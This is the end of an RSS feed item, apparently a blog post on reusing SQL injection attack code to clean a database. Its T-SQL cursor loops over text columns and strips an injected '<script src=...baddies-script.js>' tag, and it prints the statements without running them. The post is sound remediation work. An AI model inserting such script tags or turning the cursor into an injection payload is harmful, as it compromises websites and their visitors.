	<span style="color: #0000FF;">WHERE</span> a.<span style="color: #202020;">id</span>=b.<span style="color: #202020;">id</span>
	and a.<span style="color: #202020;">xtype</span>=<span style="color: #FF0000;">'u'</span>
	and <span style="color: #808080;">&#40;</span>b.<span style="color: #202020;">xtype</span>=<span style="color: #000;">99</span> or b.<span style="color: #202020;">xtype</span>=<span style="color: #000;">35</span> or b.<span style="color: #202020;">xtype</span>=<span style="color: #000;">231</span> or b.<span style="color: #202020;">xtype</span>=<span style="color: #000;">167</span><span style="color: #808080;">&#41;</span>
&nbsp;
<span style="color: #0000FF;">OPEN</span> Table_Cursor 
<span style="color: #0000FF;">FETCH</span> <span style="color: #0000FF;">NEXT</span> <span style="color: #0000FF;">FROM</span>  Table_Cursor <span style="color: #0000FF;">INTO</span> @T,@C 
	<span style="color: #0000FF;">WHILE</span><span style="color: #808080;">&#40;</span><span style="color: #FF00FF;">@@FETCH_STATUS</span>=<span style="color: #000;">0</span><span style="color: #808080;">&#41;</span> 
	<span style="color: #0000FF;">BEGIN</span> 
		<span style="color: #0000FF;">SET</span> @<span style="color: #0000FF;">SQL</span> = <span style="color: #FF0000;">'update ['</span>+@T+<span style="color: #FF0000;">'] set ['</span>+@C+<span style="color: #FF0000;">']=Replace(['</span>+@C+<span style="color: #FF0000;">'], '</span><span style="color: #FF0000;">'&lt;script src=&quot;http://www.wirelust.com/baddies-script.js&quot;&gt;&lt;/script&gt;'</span><span style="color: #FF0000;">', '</span><span style="color: #FF0000;">''</span><span style="color: #FF0000;">') where '</span>+@C+<span style="color: #FF0000;">' like '</span><span style="color: #FF0000;">'%&lt;script src=&quot;http://www.wirelust.com/baddies-script.js&quot;&gt;&lt;/script&gt;%'</span><span style="color: #FF0000;">''</span>
		<span style="color: #0000FF;">PRINT</span> @<span style="color: #0000FF;">SQL</span>
		<span style="color: #008080;">-- exec(@SQL)</span>
		<span style="color: #0000FF;">FETCH</span> <span style="color: #0000FF;">NEXT</span> <span style="color: #0000FF;">FROM</span>  Table_Cursor <span style="color: #0000FF;">INTO</span> @T,@C
	<span style="color: #0000FF;">END</span> 
<span style="color: #0000FF;">CLOSE</span> Table_Cursor
<span style="color: #0000FF;">DEALLOCATE</span> Table_Cursor</pre></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wirelust.com/2008/09/25/using-sql-injection-attack-code-to-repair-database/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
